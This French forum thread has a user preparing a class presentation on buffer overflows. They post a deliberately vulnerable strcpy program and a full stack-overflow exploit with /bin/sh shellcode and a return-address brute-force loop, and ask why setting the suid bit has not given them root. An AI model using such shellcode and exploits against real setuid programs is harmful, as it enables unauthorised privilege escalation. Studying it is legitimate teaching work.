Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
2018 connectés 

 


Dernière réponse
Sujet : bit suid avec buffer overflow
Profil supprimé help please

Votre réponse
Nom d'utilisateur    Pour poster, vous devez être inscrit sur ce forum .... si ce n'est pas le cas, cliquez ici !
Le ton de votre message                        
                       
Votre réponse


[b][i][u][strike][spoiler][fixed][cpp][url][email][img][*]   
 
   [quote]
 

Options

 
Vous avez perdu votre mot de passe ?


Vue Rapide de la discussion
help please
je voudrais essayer de passer en root grace a l'exploit mais ca ne marche pas, je reste user
Mjules à pas compris, tu veux faire quoi ?
 
passer root ? te mettre le bit suid avec un proprio root ?
personne :-(
help!!
bonjour,
j'ai un exposé a faire sur le buffer oveflow mais voila j'ai codé mon bof mais je n'ai pas accés à root, je pense que c'est le bit suid, maus comment le mettre, quelles sont les permissions que dois avoir le fichier
 
voici l'exploit
vuln1:
int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
     strcpy(buffer, argv[1]);
return (0);
}
 
exploit1:
#include <stdlib.h>
#define BUFFER_LEN 100
#define OVERFLOW 8
 
int main()
{
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
                   "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
                   "\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
                   "\xcd\x80\xe8\xdc\xff\xff\xff"
                   "/bin/sh";
char newret[] = "\x00\xfc\xff\xbf";          // adresse de depart
char diff[] = "\xff\xff\xff\xbf";          // adresse limite
char buffer[512];
int i;
int j;
int loop;
int pid;
int error;
 
for (loop = 0; strcmp(diff, newret) > 0; loop++)
  {
     error = 0;
 
     newret[0] += 1;
     if (newret[0] == '\x00')
       {
          newret[1] += 1;
          newret[0] = '\x00';
          continue;
       }
 
     for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strlen(newret)+strlen(shellcode))); i++)
          buffer[i] = '\x90';
 
     for (j = 0; shellcode[j]; j++, i++)
          buffer[i] = shellcode[j];
 
     for (j = 0; newret[j]; j++, i++)
          buffer[i] = newret[j];
 
     for (j = 0; newret[j]; j++, i++)
          buffer[i] = newret[j];
 
     pid = fork();
     if (pid == -1)
       {
          printf("#@! Fork() Error.\n" );
          exit(0);
       }
     else if (pid == 0)
       {
          execl("/root/RedKod/Stack_Overflow/BO/vuln1/vuln1", "vuln1", buffer, NULL);
          exit(0);
       }
     else
          waitpid(pid, &error, 0);
 
     if (error == 0)
       {
         return (0);
       }
a l"execution j'ai :
 
sh-2.05a$ whoami
user
sh-2.05a$  
:-(
 
comment faire please!!!!!!! :-(
 
 

Copyright © 1997-2025 Groupe LDLC (Signaler un contenu illicite / Données personnelles)